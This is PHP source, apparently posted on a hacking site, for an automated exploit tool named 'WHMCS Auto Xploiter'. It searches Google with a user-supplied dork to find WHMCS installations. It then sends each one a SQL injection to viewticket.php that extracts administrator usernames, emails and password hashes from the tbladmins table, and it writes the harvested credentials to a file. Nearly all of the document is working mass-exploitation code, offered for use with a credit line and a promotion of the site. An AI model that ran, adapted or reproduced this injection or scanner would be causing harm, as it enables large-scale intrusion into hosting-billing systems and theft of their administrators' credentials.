SD[1]; if($rank1) $rank = $rank1->POPULARITY->attributes()->TEXT; else $rank = 0; return $rank; } function google_that($query, $page=1) { $resultPerPage=8; $start = $page*$resultPerPage; $url = "http://ajax.googleapis.com/ajax/services/search/web?v=1.0&hl=iw&rsz={$resultPerPage}&start={$start}&q=" . urlencode($query); $resultFromGoogle = json_decode( http_get($url, true) ,true); if(isset($resultFromGoogle['responseStatus'])) { if($resultFromGoogle['responseStatus'] != '200') return false; if(sizeof($resultFromGoogle['responseData']['results']) == 0) return false; else return $resultFromGoogle['responseData']['results']; } else die('The function ' . __FUNCTION__ . ' Kill me :(
' . $url ); } function http_get($url, $safemode = false){ if($safemode === true) sleep(1); $im = curl_init($url); curl_setopt($im, CURLOPT_RETURNTRANSFER, 1); curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($im, CURLOPT_HEADER, 0); return curl_exec($im); curl_close(); } function check_vuln($url) { $url = dirname($url) . '/viewticket.php'; $url = str_replace("/admin","",$url); $post = "tid[sqltype]=TABLEJOIN&tid[value]=-1 union select 1,0,0,0,0,0,0,0,0,0,0,(SELECT GROUP_CONCAT(0x3a3a3a3a3a,id,0x3a,username,0x3a,email,0x3a,password,0x3a3a3a3a3a) FROM tbladmins),0,0,0,0,0,0,0,0,0,0,0#"; $curl_connection = curl_init($url); if($curl_connection != false) { curl_setopt($curl_connection, CURLOPT_CONNECTTIMEOUT, 30); curl_setopt($curl_connection, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"); curl_setopt($curl_connection, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl_connection, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl_connection, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($curl_connection, CURLOPT_POSTFIELDS, $post); $source = curl_exec($curl_connection); preg_match_all('/:::::(.*?):::::/s',$source,$infoz); if($infoz[0]) { return $infoz[0]; } else return "Fail!"; } else return "Fail!"; } ?> WHMCS Auto Xploiter - by g00n

WHMCS Auto Xploiter (0day)
[For WHMCS ver. <= 5.2.8]


Google Dork:      
Scanning has been started... Good luck! ;)

'; letItBy(); for($googlePage = 1; $googlePage <= 50; $googlePage++) { $googleResult = google_that($_POST['dork'], $googlePage); if(!$googleResult) { echo 'Finished scanning.'; fclose($file); break; } for($victim = 0; $victim < sizeof($googleResult); $victim++){ $result = check_vuln($googleResult[$victim]['unescapedUrl']); $alexa = getAlexa($googleResult[$victim]['unescapedUrl']); if($result != "Fail!") { $hashes = ""; foreach ($result as $record) { $hashes = $hashes . str_replace(':::::','',$record) . "\n"; } $sep = "========================================================\n"; $data = $sep . $googleResult[$victim]['unescapedUrl'] . " - Alexa: " .$alexa. "\n" . $sep . $hashes . "\n"; fwrite($file,$data); echo "
Successfully Xploited..."; echo ''; echo "
" . $data . "

"; } else { echo ''; echo "{$googleResult[$victim]['titleNoFormatting']} - Failed!"; echo "\n
"; } letItBy(); } } echo '
'; } ?>


Edited by : Mrlele | Skype: lolnvmman:D


For more tools/scripts/exploits/tutorials/etc.
visit www.anonsechackers.us